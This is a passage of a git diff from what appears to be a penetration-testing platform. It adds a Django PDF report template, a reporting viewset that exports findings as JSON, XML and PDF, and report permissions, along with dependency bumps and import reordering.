+ + + + + + + + + + + {% for o in items.OSINT %} + + + + + + + {% endfor %} + +
DataData typeSourceReference
{{ o.data }}{{ o.data_type }}{{ o.source|default_if_none:"" }} + {% if o.reference %} + + Link + {% endif %} +
+
+
+ {% endif %} + + {% if items.Host %} + {% for h in items.Host %} +

{{ h.Host.address }}

+

[{{ h.Host.os_type }}] {{ h.Host.os|default_if_none:"Unknown OS" }}

+ {% if h.Port %} +

Ports & Technologies

+ + + + + + + + + + + + {% for p in h.Port %} + + + + + + + + {% endfor %} + +
PortStatusProtocolServiceTechnologies
{{ p.port }}{{ p.status }}{{ p.protocol|default_if_none:"" }}{{ p.service|default_if_none:"" }} +
    + {% for t in h.Technology %} + {% if t.port.id == p.id %} +
  • + {% if t.reference %} + + {{ t.name }} + {% else %} + {{ t.name }} + {% endif %} + {% if t.version %} + - {{ t.version }} + {% endif %} +
  • + {% endif %} + {% endfor %} +
+
+
+
+ {% endif %} + + {% if h.Vulnerability %} +

Vulnerabilities

+ {% for v in h.Vulnerability %} + {% if v.severity == "Critical" or v.severity == "High" %} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Port + {% if v.technology and v.technology.port %} + {{ v.technology.port.port }} + {% elif v.port %} + {{ v.port.port }} + {% endif %} +
Technology + {% if v.technology %} + {% if v.technology.reference %} + + {{ v.technology.name }} + {% else %} + {{ v.technology.name }} + {% endif %} + {% if v.technology.version %} + - {{ v.technology.version }} + {% endif %} + {% endif %} +
Name{{ v.name }}
Description{{ v.description|default_if_none:"" }}
Severity{{ v.severity }}
CVE{{ v.cve|default_if_none:"" }}
CWE{{ v.cwe|default_if_none:"" }}
Exploits + {% if h.Exploit %} +
    + {% for e in h.Exploit %} + {% if e.vulnerability.id == v.id %} + {% if e.reference %} + +
  • {{ e.title }}
  • + {% else %} +
  • {{ e.title }}
  • + {% endif %} + {% endif %} + {% endfor %} +
+ {% endif %} +
Reference + {% if v.reference %} + + Link + {% endif %} +
+
+ {% endif %} + {% endfor %} + {% endif %} + + {% if h.Credential %} + {% if not h.Vulnerability %} +

Vulnerabilities

+ {% endif %} + {% for c in h.Credential %} + {% if c.secret %} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Port{{ c.technology.port.port }}
Technology + {% if c.technology %} + {% if c.technology.reference %} + + {{ c.technology.name }} + {% else %} + {{ c.technology.name }} + {% endif %} + {% if c.technology.version %} + - {{ c.technology.version }} + {% endif %} + {% endif %} +
NameCredential found
Description +

{{ c.context|default_if_none:"" }}

+
    + {% if c.email %} +
  • Email: {{ c.email }}
  • + {% endif %} + {% if c.username %} +
  • Username: {{ c.username }}
  • + {% endif %} +
  • Secret: {{ c.secret }}
  • +
+
SeverityHigh
CVE
CWECWE-200
Exploits
Reference
+
+ {% endif %} + {% endfor %} + {% endif %} + + {% if h.Vulnerability %} + {% for v in h.Vulnerability %} + {% if v.severity == "Medium" or v.severity == "Low" %} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Port + {% if v.technology and v.technology.port %} + {{ v.technology.port.port }} + {% elif v.port %} + {{ v.port.port }} + {% endif %} +
Technology + {% if v.technology %} + {% if v.technology.reference %} + + {{ v.technology.name }} + {% else %} + {{ v.technology.name }} + {% endif %} + {% if v.technology.version %} + - {{ v.technology.version }} + {% endif %} + {% endif %} +
Name{{ v.name }}
Description{{ v.description|default_if_none:"" }}
Severity{{ v.severity }}
CVE{{ v.cve|default_if_none:"" }}
CWE{{ v.cwe|default_if_none:"" }}
Exploits + {% if h.Exploit %} +
    + {% for e in h.Exploit %} + {% if e.vulnerability.id == v.id %} + {% if e.reference %} + +
  • {{ e.title }}
  • + {% else %} +
  • {{ e.title }}
  • + {% endif %} + {% endif %} + {% endfor %} +
+ {% endif %} +
Reference + {% if v.reference %} + + Link + {% endif %} +
+
+ {% endif %} + {% endfor %} + {% endif %} + + {% if h.Credential %} + {% for c in h.Credential %} + {% if not c.secret %} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Port{{ c.technology.port.port }}
Technology + {% if c.technology %} + {% if c.technology.reference %} + + {{ c.technology.name }} + {% else %} + {{ c.technology.name }} + {% endif %} + {% if c.technology.version %} + - {{ c.technology.version }} + {% endif %} + {% endif %} +
NameUser found
Description +

{{ c.context|default_if_none:"" }}

+
    + {% if c.email %} +
  • Email: {{ c.email }}
  • + {% endif %} + {% if c.username %} +
  • Username: {{ c.username }}
  • + {% endif %} +
+
SeverityLow
CVE
CWECWE-200
Exploits
Reference
+
+ {% endif %} + {% endfor %} + {% endif %} + + {% if h.Vulnerability %} + {% for v in h.Vulnerability %} + {% if v.severity == "Info" %} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Port + {% if v.technology and v.technology.port %} + {{ v.technology.port.port }} + {% elif v.port %} + {{ v.port.port }} + {% endif %} +
Technology + {% if v.technology %} + {% if v.technology.reference %} + + {{ v.technology.name }} + {% else %} + {{ v.technology.name }} + {% endif %} + {% if v.technology.version %} + - {{ v.technology.version }} + {% endif %} + {% endif %} +
Name{{ v.name }}
Description{{ v.description|default_if_none:"" }}
Severity{{ v.severity }}
CVE{{ v.cve|default_if_none:"" }}
CWE{{ v.cwe|default_if_none:"" }}
Exploits + {% if h.Exploit %} +
    + {% for e in h.Exploit %} + {% if e.vulnerability.id == v.id %} + {% if e.reference %} + +
  • {{ e.title }}
  • + {% else %} +
  • {{ e.title }}
  • + {% endif %} + {% endif %} + {% endfor %} +
+ {% endif %} +
Reference + {% if v.reference %} + + Link + {% endif %} +
+
+ {% endif %} + {% endfor %} + {% endif %} + + {% endfor %} + {% endif %} + {% endif %} + {% endfor %} + {% endfor %} +
+ + \ No newline at end of file diff --git a/src/backend/reporting/urls.py b/src/backend/reporting/urls.py new file mode 100644 index 000000000..431cd7086 --- /dev/null +++ b/src/backend/reporting/urls.py @@ -0,0 +1,9 @@ +from reporting.views import ReportingViewSet +from rest_framework.routers import SimpleRouter + +# Register your views here. + +router = SimpleRouter() +router.register("reports", ReportingViewSet) + +urlpatterns = router.urls diff --git a/src/backend/reporting/views.py b/src/backend/reporting/views.py new file mode 100644 index 000000000..af8217021 --- /dev/null +++ b/src/backend/reporting/views.py @@ -0,0 +1,346 @@ +# Create your views here. + +import importlib +import json +import threading +import uuid +from typing import Any, Dict, List, Optional, Tuple, Type, cast +from xml.etree import ElementTree as ET # nosec + +from django.db.models import Q, QuerySet +from django.forms.models import model_to_dict +from django.http import FileResponse +from django.template.loader import get_template +from drf_spectacular.utils import OpenApiResponse, extend_schema +from findings.enums import Severity +from findings.framework.models import Finding +from findings.models import ( + OSINT, + Credential, + Exploit, + Host, + Port, + Technology, + Vulnerability, +) +from framework.views import BaseViewSet +from platforms.mail.notifications import SMTP +from platforms.telegram_app.notifications.notifications import Telegram +from projects.models import Project +from rekono.settings import CONFIG, STATIC_URL, STATICFILES_DIRS +from reporting.enums import FindingName, ReportFormat, ReportStatus +from reporting.filters import ReportFilter +from reporting.models import Report +from reporting.serializers import CreateReportSerializer, ReportSerializer +from rest_framework import status +from rest_framework.decorators import action +from rest_framework.permissions import IsAuthenticated +from rest_framework.request import Request +from rest_framework.response import Response +from rest_framework.serializers import Serializer +from security.authorization.permissions import OwnerPermission, RekonoModelPermission +from targets.models import Target +from tasks.models import Task +from xhtml2pdf import pisa + + +class ReportingViewSet(BaseViewSet): + queryset = Report.objects.all() + serializer_class = ReportSerializer + filterset_class = ReportFilter + permission_classes = [IsAuthenticated, RekonoModelPermission, OwnerPermission] + ordering_fields = [ + "id", + "project", + "target", + "task", + "status", + "format", + "user", + "date", + ] + http_method_names = [ + "get", + "post", + "delete", + ] + owner_field = "user" + + def _get_project_from_data( + self, project_field: str, data: Dict[str, Any] + ) -> Optional[Project]: + return ( + cast(Task, data.get("task")).target.project + if data.get("task") + else ( + cast(Target, data.get("target")).project + if data.get("target") + else data.get("project") + ) + ) + + def get_queryset(self) -> QuerySet: + return ( + ( + super() + .get_queryset() + .filter( + Q(project__members=self.request.user) + | Q(target__project__members=self.request.user) + | Q(task__target__project__members=self.request.user) + ) + ) + if self.request.user.id + else None + ) + + def get_serializer_class(self) -> Serializer: + return ( + CreateReportSerializer + if self.request.method == "POST" + else super().get_serializer_class() + ) + + @extend_schema(request=CreateReportSerializer, responses=ReportSerializer) + def create(self, request: Request, *args: Any, **kwargs: Any): + serializer = self.get_serializer_class()( + data=request.data, context={"request": request} + ) + serializer.is_valid(raise_exception=True) + findings = ( + self._get_findings_to_pdf_report(serializer) + if serializer.validated_data["format"] == ReportFormat.PDF + else self._get_findings_to_report(serializer) + ) + if (isinstance(findings, list) and not findings) or ( + isinstance(findings, tuple) and not findings[0] + ): + return Response( + {"findings": "No findings found with this criteria"}, + status=status.HTTP_404_NOT_FOUND, + ) + self.perform_create(serializer) + threading.Thread( + target=self._create_report_file, + args=(serializer.instance,) + + ( + (findings[0], findings[1], findings[2]) + if isinstance(findings, tuple) + else (findings,) + ), + ).start() + return Response( + ReportSerializer(serializer.instance).data, status=status.HTTP_201_CREATED + ) + + def destroy(self, request: Request, *args: Any, **kwargs: Any) -> Response: + report = self.get_object() + path = (CONFIG.generated_reports / report.path) if report.path else None + if path and path.exists(): + path.unlink() + return super().destroy(request, *args, **kwargs) + + @extend_schema( + request=None, + responses={ + 200: OpenApiResponse(description="Generated report file"), + 404: None, + }, + ) + @action(detail=True, methods=["GET"], url_path="download", url_name="download") + def download(self, request: Request, pk: str) -> FileResponse: + report = self.get_object() + if report.status != ReportStatus.READY: + messages = { + ReportStatus.PENDING: "Report is not available yet", + ReportStatus.ERROR: "Report generation failed", + } + return Response( + {"report": messages[report.status]}, status=status.HTTP_400_BAD_REQUEST + ) + path = CONFIG.generated_reports / (report.path or "") + if not report.path or not path.is_file(): + return Response(status=status.HTTP_404_NOT_FOUND) + return FileResponse( + path.open("rb"), + as_attachment=True, + filename=f"{str(uuid.uuid4())}.{report.format.lower()}", + status=status.HTTP_200_OK, + ) + + def _get_findings_to_report( + self, serializer: ReportSerializer + ) -> Dict[Type[Finding], List[Finding]]: + findings = {} + models = importlib.import_module("findings.models") + for finding_type in serializer.validated_finding_types: + model = getattr(models, finding_type) + query = model.objects.filter(**serializer.validated_filter).all() + if model == Vulnerability: + query = query.order_by("severity") + findings[model.__name__.lower()] = [ + {k: v for k, v in model_to_dict(f).items() if k != "executions"} + for f in query + ] + return findings + + def _get_findings_to_pdf_report( + self, serializer: ReportSerializer + ) -> Tuple[Dict[int, Any], Dict[int, List[int]], List[int]]: + label_index = [s.value for s in reversed(Severity)] + stats = [0] * len(Severity) + stats_by_target = {} + findings_by_target = {} + filter = serializer.validated_filter + for target in ( + serializer.validated_data.get("project").targets.all() + if serializer.validated_data.get("project") + else [ + serializer.validated_data.get("target") + or serializer.validated_data.get("task").target + ] + ): + filter["executions__task__target"] = target + stats_by_target[target.id] = [0] * len(Severity) + findings_by_target[target.id] = { + FindingName.OSINT.value: OSINT.objects.filter(**filter).all(), + FindingName.HOST.value: [ + { + FindingName.HOST.value: host, + FindingName.PORT.value: Port.objects.filter( + host=host, **filter + ).all(), + FindingName.TECHNOLOGY.value: Technology.objects.filter( + port__host=host, **filter + ).all(), + FindingName.CREDENTIAL.value: Credential.objects.filter( + technology__port__host=host, **filter + ).all(), + FindingName.VULNERABILITY.value: Vulnerability.objects.filter( + **filter + ) + .filter(Q(technology__port__host=host) | Q(port__host=host)) + .order_by("severity") + .all(), + FindingName.EXPLOIT.value: Exploit.objects.filter(**filter) + .filter( + Q(technology__port__host=host) + | Q(vulnerability__technology__port__host=host) + | Q(vulnerability__port__host=host) + ) + .all(), + } + for host in Host.objects.filter(**filter) + ], + } + if ( + len(findings_by_target[target.id][FindingName.OSINT.value]) == 0 + and len(findings_by_target[target.id][FindingName.HOST.value]) == 0 + ): + findings_by_target.pop(target.id) + else: + for host in findings_by_target[target.id][FindingName.HOST.value]: + for vulnerability in host[FindingName.VULNERABILITY.value]: + index = label_index.index(vulnerability.severity) + stats[index] += 1 + stats_by_target[target.id][index] += 1 + for credential in host[FindingName.CREDENTIAL.value]: + index = label_index.index( + Severity.HIGH.value + if credential.secret + else Severity.LOW.value + ) + stats[index] += 1 + stats_by_target[target.id][index] += 1 + return findings_by_target, stats_by_target, stats + + def _create_report_file(self, report: Report, *findings: Any) -> None: + filename = f"{str(uuid.uuid4())}.{report.format.lower()}" + success = getattr(self, f"_{report.format.lower()}_report")( + filename, report, *findings + ) + if success: + report.path = filename + report.status = ReportStatus.READY + report.save(update_fields=["path", "status"]) + Telegram().report_created(report) + SMTP().report_created(report) + else: + report.status = ReportStatus.ERROR + report.save(update_fields=["status"]) + + def _json_report( + self, + filename: str, + report: Report, + findings: Dict[Type[Finding], List[Finding]], + ) -> bool: + with (CONFIG.generated_reports / filename).open("w") as filepath: + json.dump(findings, filepath, ensure_ascii=True, indent=4) + return True + + def _dict_to_xml(self, element: ET.Element, data: Dict[str, Any]) -> ET.Element: + for key, value in data.items(): + child = ET.Element(key) + if isinstance(value, dict): + element.append(self._dict_to_xml(child, value)) + else: + child.text = str(value or "") + element.append(child) + return element + + def _xml_report( + self, + filename: str, + report: Report, + findings: Dict[Type[Finding], List[Finding]], + ) -> bool: + root = ET.Element("findings") + for finding_type, finding_list in findings.items(): + for finding in finding_list: + root.append( + self._dict_to_xml(ET.Element(finding_type.lower()), finding) + ) + ET.indent(root, space="\t") + with (CONFIG.generated_reports / filename).open("w") as filepath: + filepath.write(ET.tostring(root, encoding="unicode")) + return True + + def _pdf_static_content(self, uri: str, rel: str) -> str: + if f"/{STATIC_URL}" in uri: + filepath = uri.split(f"/{STATIC_URL}", 1)[1] + for parent in [STATICFILES_DIRS[0], CONFIG.home]: + location = parent / filepath + if location.exists(): + return str(location) + return uri + + def _pdf_report( + self, + filename: str, + report: Report, + findings_by_target: Dict[int, Any], + stats_by_target: Dict[int, List[int]], + stats: List[int], + ) -> bool: + template = get_template(CONFIG.pdf_report_template).render( + { + "project": report.project + or ( + report.target.project + if report.target + else report.task.target.project + ), + "targets": (report.project.targets.all() if not CONFIG.testing else []) + if report.project + else [report.target or report.task.target], + "findings": findings_by_target, + "stats_by_target": stats_by_target, + "stats": stats, + } + ) + with (CONFIG.generated_reports / filename).open("wb") as filepath: + pisa_status = pisa.CreatePDF( + template, dest=filepath, link_callback=self._pdf_static_content + ) + return not pisa_status.err diff --git a/src/backend/requirements.txt b/src/backend/requirements.txt index d132ecedb..309b81fd4 100644 --- a/src/backend/requirements.txt +++ b/src/backend/requirements.txt @@ -1,7 +1,7 @@ certifi==2023.11.17 cryptography==41.0.7 defusedxml==0.7.1 -Django==5.0 +Django==5.0.3 djangorestframework==3.14.0 djangorestframework-simplejwt==5.3.1 django-filter==23.5 @@ -18,4 +18,5 @@ pyyaml==6.0.1 requests==2.31.0 rq==1.15.1 stringcase==1.2.0 -tornado==6.4 \ No newline at end of file +tornado==6.4 +xhtml2pdf==0.2.15 \ No newline at end of file diff --git a/src/backend/security/apps.py b/src/backend/security/apps.py index 0c8d15447..76389e0f0 100644 --- a/src/backend/security/apps.py +++ b/src/backend/security/apps.py @@ -1,4 +1,5 @@ from django.apps import AppConfig + from framework.apps import BaseApp diff --git a/src/backend/security/authentication/api.py b/src/backend/security/authentication/api.py index 7f176ffd0..094bdbf3d 100644 --- a/src/backend/security/authentication/api.py +++ b/src/backend/security/authentication/api.py @@ -1,9 +1,10 @@ from typing import Any, Tuple -from api_tokens.models import ApiToken from django.utils import timezone from rest_framework.authentication import TokenAuthentication from rest_framework.exceptions import AuthenticationFailed + +from api_tokens.models import ApiToken from security.cryptography.hashing import hash diff --git a/src/backend/security/authentication/serializers.py b/src/backend/security/authentication/serializers.py index a75df423e..d197df16f 100644 --- a/src/backend/security/authentication/serializers.py +++ b/src/backend/security/authentication/serializers.py @@ -1,8 +1,9 @@ import logging from typing import Any, Dict -from platforms.mail.notifications import SMTP from rest_framework_simplejwt.serializers import TokenObtainPairSerializer + +from platforms.mail.notifications import SMTP from security.authorization.roles import Role from users.models import User diff --git a/src/backend/security/authentication/urls.py b/src/backend/security/authentication/urls.py index 632cd073c..a48a2095a 100644 --- a/src/backend/security/authentication/urls.py +++ b/src/backend/security/authentication/urls.py @@ -1,5 +1,6 @@ from django.urls import path from rest_framework_simplejwt.views import TokenBlacklistView + from security.authentication.views import LoginViewSet, RefreshTokenViewSet # Register your views here. diff --git a/src/backend/security/authentication/views.py b/src/backend/security/authentication/views.py index 2ec51a00f..9b970fbb6 100644 --- a/src/backend/security/authentication/views.py +++ b/src/backend/security/authentication/views.py @@ -1,4 +1,5 @@ from rest_framework_simplejwt.views import TokenObtainPairView, TokenRefreshView + from security.authorization.permissions import IsNotAuthenticated diff --git a/src/backend/security/authorization/permissions.py b/src/backend/security/authorization/permissions.py index be7d6ec53..a14cd6601 100644 --- a/src/backend/security/authorization/permissions.py +++ b/src/backend/security/authorization/permissions.py @@ -1,13 +1,14 @@ from typing import Any +from notes.models import Note from platforms.telegram_app.models import TelegramChat from processes.models import Process, Step +from reporting.models import Report from rest_framework.permissions import BasePermission, DjangoModelPermissions from rest_framework.request import Request from rest_framework.views import View from security.authorization.roles import Role from wordlists.models import Wordlist -from notes.models import Note class RekonoModelPermission(DjangoModelPermissions): @@ -138,12 +139,11 @@ def has_object_permission(self, request: Request, view: View, obj: Any) -> bool: """ instance = None owner_field = "" - allow_admin = False + allow_admin = not isinstance(obj, Note) and not isinstance(obj, TelegramChat) if obj.__class__ in [Wordlist, Process, Step, Note]: instance = obj.process if obj.__class__ == Step else obj owner_field = "owner" - allow_admin = not isinstance(obj, Note) - elif obj.__class__ == TelegramChat: + elif obj.__class__ in [TelegramChat, Report]: instance = obj owner_field = "user" return self._has_object_permission(request, instance, owner_field, allow_admin) diff --git a/src/backend/security/authorization/roles.py b/src/backend/security/authorization/roles.py index f0f662967..f0d220e7a 100644 --- a/src/backend/security/authorization/roles.py +++ b/src/backend/security/authorization/roles.py @@ -232,4 +232,10 @@ class Role(models.TextChoices): "change": [Role.ADMIN], "delete": [], }, + "report": { + "view": [Role.ADMIN, Role.AUDITOR, Role.READER], + "add": [Role.ADMIN, Role.AUDITOR, Role.READER], + "change": [], + "delete": [Role.ADMIN, Role.AUDITOR, Role.READER], + }, } diff --git a/src/backend/security/file_handler.py b/src/backend/security/file_handler.py index fe64a9bae..d3489272f 100644 --- a/src/backend/security/file_handler.py +++ b/src/backend/security/file_handler.py @@ -6,6 +6,7 @@ import magic from django.core.exceptions import ValidationError + from rekono.settings import CONFIG from settings.models import Settings diff --git a/src/backend/security/management/commands/encryption_key.py b/src/backend/security/management/commands/encryption_key.py index f740eae15..1f83eacfa 100644 --- a/src/backend/security/management/commands/encryption_key.py +++ b/src/backend/security/management/commands/encryption_key.py @@ -1,7 +1,8 @@ import logging -from typing import Tuple, Callable +from typing import Callable, Tuple from django.apps import apps + from framework.models import BaseEncrypted from rekono.properties import Property from rekono.settings import CONFIG diff --git a/src/backend/security/management/commands/remove_encryption_key.py b/src/backend/security/management/commands/remove_encryption_key.py index 3bb09bad4..c1bf4fd9b 100644 --- a/src/backend/security/management/commands/remove_encryption_key.py +++ b/src/backend/security/management/commands/remove_encryption_key.py @@ -3,6 +3,7 @@ from typing import Any from django.core.management.base import BaseCommand + from rekono.settings import CONFIG from security.management.commands.encryption_key import BaseEncryptionKeyCommand diff --git a/src/backend/security/management/commands/rotate_encryption_key.py b/src/backend/security/management/commands/rotate_encryption_key.py index b14d98703..4099c28f4 100644 --- a/src/backend/security/management/commands/rotate_encryption_key.py +++ b/src/backend/security/management/commands/rotate_encryption_key.py @@ -3,6 +3,7 @@ from typing import Any from django.core.management.base import BaseCommand + from rekono.settings import CONFIG from security.management.commands.encryption_key import BaseEncryptionKeyCommand diff --git a/src/backend/security/management/commands/setup_encryption_key.py b/src/backend/security/management/commands/setup_encryption_key.py index e89377c40..5a13f873f 100644 --- a/src/backend/security/management/commands/setup_encryption_key.py +++ b/src/backend/security/management/commands/setup_encryption_key.py @@ -3,6 +3,7 @@ from typing import Any from django.core.management.base import BaseCommand + from rekono.settings import CONFIG from security.management.commands.encryption_key import BaseEncryptionKeyCommand diff --git a/src/backend/security/middleware.py b/src/backend/security/middleware.py index bb23bd335..cc98605f3 100644 --- a/src/backend/security/middleware.py +++ b/src/backend/security/middleware.py @@ -79,6 +79,8 @@ def _add_security_headers( self, request: HttpRequest, response: Response ) -> Response: for header, value in SECURITY_HEADERS.items(): + if header == "Referrer-Policy" and request.path.startswith("/admin"): + value = "strict-origin" if header == "Content-Security-Policy": for path, csp in CSP.items(): if request.path.startswith(path): diff --git a/src/backend/security/validators/target_validator.py b/src/backend/security/validators/target_validator.py index d9c3a7b27..fafe51e2b 100644 --- a/src/backend/security/validators/target_validator.py +++ b/src/backend/security/validators/target_validator.py @@ -5,6 +5,7 @@ from django.core.validators import RegexValidator from django.forms import ValidationError + from target_blacklist.models import TargetBlacklist diff --git a/src/backend/settings/admin.py b/src/backend/settings/admin.py index 244f83ea6..7e615b22d 100644 --- a/src/backend/settings/admin.py +++ b/src/backend/settings/admin.py @@ -1,4 +1,5 @@ from django.contrib import admin + from settings.models import Settings # Register your models here. diff --git a/src/backend/settings/apps.py b/src/backend/settings/apps.py index 872994b7b..7882737dc 100644 --- a/src/backend/settings/apps.py +++ b/src/backend/settings/apps.py @@ -2,6 +2,7 @@ from typing import Any, List from django.apps import AppConfig + from framework.apps import BaseApp diff --git a/src/backend/settings/models.py b/src/backend/settings/models.py index a4fcbbc7f..6e1b42e4c 100644 --- a/src/backend/settings/models.py +++ b/src/backend/settings/models.py @@ -1,5 +1,6 @@ from django.core.validators import MaxValueValidator, MinValueValidator from django.db import models + from framework.models import BaseModel from security.validators.input_validator import Regex, Validator diff --git a/src/backend/settings/serializers.py b/src/backend/settings/serializers.py index 1e7060fd7..c2ff53a96 100644 --- a/src/backend/settings/serializers.py +++ b/src/backend/settings/serializers.py @@ -1,4 +1,5 @@ from rest_framework.serializers import ModelSerializer + from settings.models import Settings diff --git a/src/backend/settings/urls.py b/src/backend/settings/urls.py index 5b316d45b..9e914638c 100644 --- a/src/backend/settings/urls.py +++ b/src/backend/settings/urls.py @@ -1,4 +1,5 @@ from rest_framework.routers import SimpleRouter + from settings.views import SettingsViewSet # Register your views here. diff --git a/src/backend/settings/views.py b/src/backend/settings/views.py index 0c5d893ed..da94e25c2 100644 --- a/src/backend/settings/views.py +++ b/src/backend/settings/views.py @@ -1,5 +1,6 @@ -from framework.views import BaseViewSet from rest_framework.permissions import IsAuthenticated + +from framework.views import BaseViewSet from security.authorization.permissions import RekonoModelPermission from settings.models import Settings from settings.serializers import SettingsSerializer diff --git a/src/backend/target_blacklist/admin.py b/src/backend/target_blacklist/admin.py index 204e93cfc..319eed0f9 100644 --- a/src/backend/target_blacklist/admin.py +++ b/src/backend/target_blacklist/admin.py @@ -1,4 +1,5 @@ from django.contrib import admin + from target_blacklist.models import TargetBlacklist # Register your models here. diff --git a/src/backend/target_blacklist/apps.py b/src/backend/target_blacklist/apps.py index 657580fbb..8b8708ad6 100644 --- a/src/backend/target_blacklist/apps.py +++ b/src/backend/target_blacklist/apps.py @@ -2,6 +2,7 @@ from typing import Any, List from django.apps import AppConfig + from framework.apps import BaseApp diff --git a/src/backend/target_blacklist/filters.py b/src/backend/target_blacklist/filters.py index 114bfefaa..499ebd0ab 100644 --- a/src/backend/target_blacklist/filters.py +++ b/src/backend/target_blacklist/filters.py @@ -1,4 +1,5 @@ from django_filters.rest_framework import FilterSet + from target_blacklist.models import TargetBlacklist diff --git a/src/backend/target_blacklist/models.py b/src/backend/target_blacklist/models.py index a4bf496c5..ac104b535 100644 --- a/src/backend/target_blacklist/models.py +++ b/src/backend/target_blacklist/models.py @@ -1,4 +1,5 @@ from django.db import models + from framework.models import BaseModel from security.validators.input_validator import Regex, Validator diff --git a/src/backend/target_blacklist/serializers.py b/src/backend/target_blacklist/serializers.py index 56563dabe..12fb75ebe 100644 --- a/src/backend/target_blacklist/serializers.py +++ b/src/backend/target_blacklist/serializers.py @@ -1,4 +1,5 @@ from rest_framework.serializers import ModelSerializer + from target_blacklist.models import TargetBlacklist diff --git a/src/backend/target_blacklist/urls.py b/src/backend/target_blacklist/urls.py index e04e83dea..363deabdc 100644 --- a/src/backend/target_blacklist/urls.py +++ b/src/backend/target_blacklist/urls.py @@ -1,4 +1,5 @@ from rest_framework.routers import SimpleRouter + from target_blacklist.views import TargetBlacklistViewSet # Register your views here. diff --git a/src/backend/target_blacklist/views.py b/src/backend/target_blacklist/views.py index e2b5b2587..dd1a3fda0 100644 --- a/src/backend/target_blacklist/views.py +++ b/src/backend/target_blacklist/views.py @@ -1,6 +1,7 @@ from django.db.models import QuerySet -from framework.views import BaseViewSet from rest_framework.permissions import IsAuthenticated + +from framework.views import BaseViewSet from security.authorization.permissions import RekonoModelPermission from target_blacklist.filters import TargetBlacklistFilter from target_blacklist.models import TargetBlacklist diff --git a/src/backend/target_ports/admin.py b/src/backend/target_ports/admin.py index 3c32a69cc..8e2e02d2d 100644 --- a/src/backend/target_ports/admin.py +++ b/src/backend/target_ports/admin.py @@ -1,4 +1,5 @@ from django.contrib import admin + from target_ports.models import TargetPort # Register your models here. diff --git a/src/backend/target_ports/apps.py b/src/backend/target_ports/apps.py index fe4fc0a3e..cb9359c6c 100644 --- a/src/backend/target_ports/apps.py +++ b/src/backend/target_ports/apps.py @@ -1,4 +1,5 @@ from django.apps import AppConfig + from framework.apps import BaseApp diff --git a/src/backend/target_ports/filters.py b/src/backend/target_ports/filters.py index cbfa7c0fb..b8a12d2fa 100644 --- a/src/backend/target_ports/filters.py +++ b/src/backend/target_ports/filters.py @@ -1,5 +1,6 @@ from django_filters.filters import ModelChoiceFilter from django_filters.rest_framework import FilterSet + from projects.models import Project from target_ports.models import TargetPort diff --git a/src/backend/target_ports/models.py b/src/backend/target_ports/models.py index c3da29518..4fdd8844e 100644 --- a/src/backend/target_ports/models.py +++ b/src/backend/target_ports/models.py @@ -2,6 +2,7 @@ from django.core.validators import MaxValueValidator, MinValueValidator from django.db import models + from framework.enums import InputKeyword from framework.models import BaseInput from security.validators.input_validator import Regex, Validator diff --git a/src/backend/target_ports/serializers.py b/src/backend/target_ports/serializers.py index 5524814d3..efc79452d 100644 --- a/src/backend/target_ports/serializers.py +++ b/src/backend/target_ports/serializers.py @@ -1,5 +1,6 @@ -from authentications.serializers import AuthenticationSerializer from rest_framework.serializers import ModelSerializer + +from authentications.serializers import AuthenticationSerializer from target_ports.models import TargetPort diff --git a/src/backend/target_ports/urls.py b/src/backend/target_ports/urls.py index af90416a4..ac53e24ea 100644 --- a/src/backend/target_ports/urls.py +++ b/src/backend/target_ports/urls.py @@ -1,4 +1,5 @@ from rest_framework.routers import SimpleRouter + from target_ports.views import TargetPortViewSet # Register your views here. diff --git a/src/backend/target_ports/views.py b/src/backend/target_ports/views.py index 7662cffba..59901815c 100644 --- a/src/backend/target_ports/views.py +++ b/src/backend/target_ports/views.py @@ -1,5 +1,6 @@ -from framework.views import BaseViewSet from rest_framework.permissions import IsAuthenticated + +from framework.views import BaseViewSet from security.authorization.permissions import ( ProjectMemberPermission, RekonoModelPermission, diff --git a/src/backend/targets/admin.py b/src/backend/targets/admin.py index 7352c3ae4..900223e1f 100644 --- a/src/backend/targets/admin.py +++ b/src/backend/targets/admin.py @@ -1,4 +1,5 @@ from django.contrib import admin + from targets.models import Target # Register your models here. diff --git a/src/backend/targets/apps.py b/src/backend/targets/apps.py index 06f270945..ac4d77531 100644 --- a/src/backend/targets/apps.py +++ b/src/backend/targets/apps.py @@ -1,4 +1,5 @@ from django.apps import AppConfig + from framework.apps import BaseApp diff --git a/src/backend/targets/filters.py b/src/backend/targets/filters.py index 657d366a3..77be87abb 100644 --- a/src/backend/targets/filters.py +++ b/src/backend/targets/filters.py @@ -1,5 +1,6 @@ from django_filters.filters import NumberFilter from django_filters.rest_framework import FilterSet + from targets.models import Target diff --git a/src/backend/targets/models.py b/src/backend/targets/models.py index d6e19e134..65ff0f586 100644 --- a/src/backend/targets/models.py +++ b/src/backend/targets/models.py @@ -6,6 +6,7 @@ from django.core.exceptions import ValidationError from django.db import models + from framework.enums import InputKeyword from framework.models import BaseInput from projects.models import Project diff --git a/src/backend/targets/serializers.py b/src/backend/targets/serializers.py index 8a96b90c4..778cf7965 100644 --- a/src/backend/targets/serializers.py +++ b/src/backend/targets/serializers.py @@ -1,7 +1,8 @@ from typing import Any, Dict -from platforms.defect_dojo.serializers import DefectDojoTargetSyncSerializer from rest_framework.serializers import ModelSerializer + +from platforms.defect_dojo.serializers import DefectDojoTargetSyncSerializer from targets.models import Target diff --git a/src/backend/targets/urls.py b/src/backend/targets/urls.py index c255a25b1..1475ea05b 100644 --- a/src/backend/targets/urls.py +++ b/src/backend/targets/urls.py @@ -1,4 +1,5 @@ from rest_framework.routers import SimpleRouter + from targets.views import TargetViewSet # Register your views here. diff --git a/src/backend/targets/views.py b/src/backend/targets/views.py index cf00773a5..f9434d143 100644 --- a/src/backend/targets/views.py +++ b/src/backend/targets/views.py @@ -1,5 +1,6 @@ -from framework.views import BaseViewSet from rest_framework.permissions import IsAuthenticated + +from framework.views import BaseViewSet from security.authorization.permissions import ( ProjectMemberPermission, RekonoModelPermission, diff --git a/src/backend/tasks/admin.py b/src/backend/tasks/admin.py index 01cb3caaf..3ade634ff 100644 --- a/src/backend/tasks/admin.py +++ b/src/backend/tasks/admin.py @@ -1,4 +1,5 @@ from django.contrib import admin + from tasks.models import Task # Register your models here. diff --git a/src/backend/tasks/apps.py b/src/backend/tasks/apps.py index b9097b638..4eb26233c 